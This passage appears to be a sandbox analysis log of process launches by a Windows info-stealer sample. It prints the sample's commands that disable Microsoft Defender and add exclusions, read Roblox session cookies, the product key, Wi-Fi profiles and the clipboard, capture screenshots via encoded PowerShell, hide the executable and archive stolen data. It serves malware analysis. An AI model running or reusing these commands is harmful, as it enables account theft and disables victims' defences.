CAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path win32_VideoController get name	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "wmic os get Caption"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\KpHYfxnJs6.exe'	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\mshta.exe mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('VERISON NOT SUPPORT (WAIT FOR UPDATE)', 0, 'CLOSING ALL APPS FOR BOTNET', 0+16);close()"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist /FO LIST	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\attrib.exe attrib +h +s "C:\Users\user\Desktop\KpHYfxnJs6.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ??.scr'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist /FO LIST
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist /FO LIST
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist /FO LIST
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tree.com tree /A /F
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\systeminfo.exe systeminfo
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bifucm0t\bifucm0t.cmdline"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tree.com tree /A /F
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\attrib.exe attrib -r C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESED03.tmp" "c:\Users\user\AppData\Local\Temp\bifucm0t\CSCB2EB15F711B84CFFA3556DECAB136738.TMP"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\getmac.exe getmac
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tree.com tree /A /F
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\attrib.exe attrib +r C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist /FO LIST
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tree.com tree /A /F
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tree.com tree /A /F
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tree.com tree /A /F
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe a -r -hp"grabber" "C:\Users\user\AppData\Local\Temp\CoY55.zip" *
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic os get Caption
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic computersystem get totalphysicalmemory
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping localhost -n 3

Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe c:\windows\system32\cmd.exe /c "powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend && powershell set-mppreference -submitsamplesconsent 2 & "%programfiles%\windows defender\mpcmdrun.exe" -removedefinitions -all"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe c:\windows\system32\cmd.exe /c "powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaia
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaiab
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe c:\windows\system32\cmd.exe /c "powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend && powershell set-mppreference -submitsamplesconsent 2 & "%programfiles%\windows defender\mpcmdrun.exe" -removedefinitions -all"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe c:\windows\system32\cmd.exe /c "powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaia